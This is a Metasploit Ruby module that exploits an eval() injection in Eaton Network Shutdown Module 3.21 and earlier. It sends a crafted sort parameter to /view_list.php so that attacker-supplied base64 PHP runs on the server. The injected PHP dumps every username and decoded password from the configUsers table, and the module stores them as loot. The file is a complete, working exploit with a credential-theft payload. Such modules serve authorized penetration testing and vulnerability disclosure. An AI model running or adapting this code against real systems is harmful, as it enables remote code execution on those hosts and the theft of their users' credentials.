metasploit-framework/modules/auxiliary/gather/eaton_nsm_creds.rb

129 lines
3.5 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Credential Dumper',
'Description' => %q{
This module exploits a vulnerability in lib/dbtools.inc which uses
unsanitized user input inside a eval() call. Additionally the base64 encoded
user credentials are extracted from the database of the application. Please
note that in order to be able to steal credentials, the vulnerable service
must have at least one USV module (an entry in the "nodes" table in mgedb.db)
},
'References' =>
[
['OSVDB', '83199'],
['URL', 'http://secunia.com/advisories/49103/']
],
'Author' =>
[
'h0ng10',
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Jun 26 2012"
))
register_options(
[
Opt::RPORT(4679),
OptString.new("PARAM", [false, 'Specify a parameter for the action'])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def execute_php_code(code, opts = {})
param_name = Rex::Text.rand_text_alpha(6)
padding = Rex::Text.rand_text_alpha(6)
php_code = Rex::Text.encode_base64(code)
url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
res = send_request_cgi(
{
'uri' => '/view_list.php',
'method' => 'POST',
'vars_get' =>
{
'paneStatusListSortBy' => url_param,
},
'vars_post' =>
{
param_name => php_code,
},
'headers' =>
{
'Connection' => 'Close'
}
})
res
end
def read_credentials
pattern = Rex::Text.rand_text_numeric(10)
users_var = Rex::Text.rand_text_alpha(10)
user_var = Rex::Text.rand_text_alpha(10)
php = <<-EOT
$#{users_var} = &queryDB("SELECT * FROM configUsers;");
foreach($#{users_var} as $#{user_var}) {
print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";
} die();
EOT
print_status("#{peer} - Reading user credentials from the database")
response = execute_php_code(php)
if not response or response.code != 200 then
print_error("#{peer} - Failed: Error requesting page")
return
end
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
return [] if credentials.length == 0
return credentials
end
def run
credentials = read_credentials
if credentials.empty?
print_warning("#{peer} - No credentials collected.")
print_warning("#{peer} - Sometimes this is because the server isn't in the vulnerable state.")
return
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'Network Shutdown Module Credentials',
'Indent' => 1,
'Columns' => ['Username', 'Password']
)
credentials.each do |record|
cred_table << [record[0], record[1]]
end
print_line
print_line(cred_table.to_s)
loot_name = "eaton.nsm.credentials"
loot_type = "text/csv"
loot_filename = "eaton_nsm_creds.csv"
loot_desc = "Eaton Network Shutdown Module Credentials"
p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc)
print_status("Credentials saved in: #{p.to_s}")
end
end